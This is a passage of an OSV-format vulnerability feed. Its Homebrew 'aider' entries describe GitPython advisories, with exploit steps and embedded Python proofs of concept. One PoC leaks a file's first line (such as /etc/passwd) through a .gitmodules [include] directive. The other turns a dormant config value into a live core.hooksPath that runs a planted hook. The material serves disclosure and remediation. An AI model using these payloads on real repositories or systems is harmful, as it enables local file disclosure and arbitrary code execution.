Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76222"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2202"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78675","published":"2026-09-04T08:43:32Z","modified":"2026-09-09T23:40:56Z","upstream":["PYSEC-2026-3785","CVE-2026-78675","GHSA-7833-fr7j-v32q"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)","details":"# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules//config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret — `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`'s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`'s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities — exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` — one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` — `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` — `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`'s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) — absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) — raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`'s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` — `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No — that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`'s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` — an entirely different module and code path. This finding discloses actual file content via `git/config.py`'s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No — confirmed by reading `Submodule.iter_items()`'s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) — `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = `.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn't valid\ngit-config syntax (true of virtually any non-gitconfig file), Python's\n`configparser.MissingSectionHeaderError` embeds the file's first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\":/gitdb:/smmap\" python3 gitpython-003-poc.py \n\nBenign: reads only the given (defaults to a throwaway secret file\ncreated under if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) > 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n '[submodule \"totally-normal-dep\"]\\n'\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file's first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78675"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2211"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78676","published":"2026-09-04T08:43:32Z","modified":"2026-09-09T23:40:56Z","upstream":["PYSEC-2026-3786","CVE-2026-78676","GHSA-284h-m62q-gf8w"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE","details":"- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `\\nhooksPath = `, that second line is parsed as a brand-new `core.hooksPath = ` directive — live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n ```\n [core]\n \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n \"\n ```\n No raw `\\r`, `\\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython's own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n ```\n [core]\n \t...\n \tzzz = A\n \thooksPath = ../evil-hooks\n ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\\n = `. Realistic delivery:\n 1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n 2. **The documented shared-config `[include]` pattern** (`[include] path = ../`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n 3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S'replace(\"\\n\", \"\\n\\t\")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = \", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n PYTHONPATH=\":/gitdb:/smmap\" python3 gitpython-002-poc.py \n\nBenign: only writes/reads inside . The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) > 1 else \"/tmp/gitpython-002-poc\"\n repo_dir = os.path.join(workdir, \"repo\")\n hooks_dir = os.path.join(workdir, \"evil-hooks\")\n marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n for p in (repo_dir, hooks_dir):\n os.makedirs(p, exist_ok=True)\n if os.path.exists(marker):\n os.remove(marker)\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n # inside [core] (before any other section). No raw CR/LF/NUL byte is\n # written to disk here -- this is standard git config quoting +\n # backslash-line-continuation, decoded by both real git and GitConfigParser\n # into the Python string 'A\\nhooksPath = ../evil-hooks'.\n cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n with open(cfg_path) as f:\n original = f.read()\n poisoned_entry = '\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n'\n # Insert right after the [core] header line so it lives in the same section.\n new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n with open(cfg_path, \"w\") as f:\n f.write(new_config)\n\n # Confirm it's inert per real git before touching GitPython.\n pre = subprocess.run(\n [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n capture_output=True, text=True,\n )\n if pre.returncode == 0:\n print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n sys.exit(2)\n\n # Malicious hook: benign marker only.\n hook_path = os.path.join(hooks_dir, \"pre-commit\")\n with open(hook_path, \"w\") as f:\n f.write('#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" > \"%s\"\\nexit 0\\n' % marker)\n os.chmod(hook_path, 0o755)\n\n import git # gitpython under test\n\n repo = git.Repo(repo_dir)\n before = repo.config_reader().get_value(\"core\", \"zzz\")\n print(\"core.zzz before any GitPython write =\", repr(before))\n\n # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n # action required, and it is something virtually every GitPython consumer\n # does routinely (setting an option, adding a remote, updating a branch's\n # tracking config, ...).\n with repo.config_writer() as cw:\n cw.set_value(\"user\", \"name\", \"Test User\")\n\n post = subprocess.run(\n [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n capture_output=True, text=True,\n )\n if post.returncode != 0:\n print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n sys.exit(1)\n\n injected_path = post.stdout.strip()\n print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n # Trigger the hook with a normal commit to prove it fires.\n with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n f.write(\"change\\n\")\n subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n subprocess.run(\n [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n check=True,\n )\n\n if os.path.isfile(marker):\n with open(marker) as f:\n content = f.read().strip()\n print(\"VULNERABLE: hook fired, marker content =\", content)\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: hook did not fire\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n 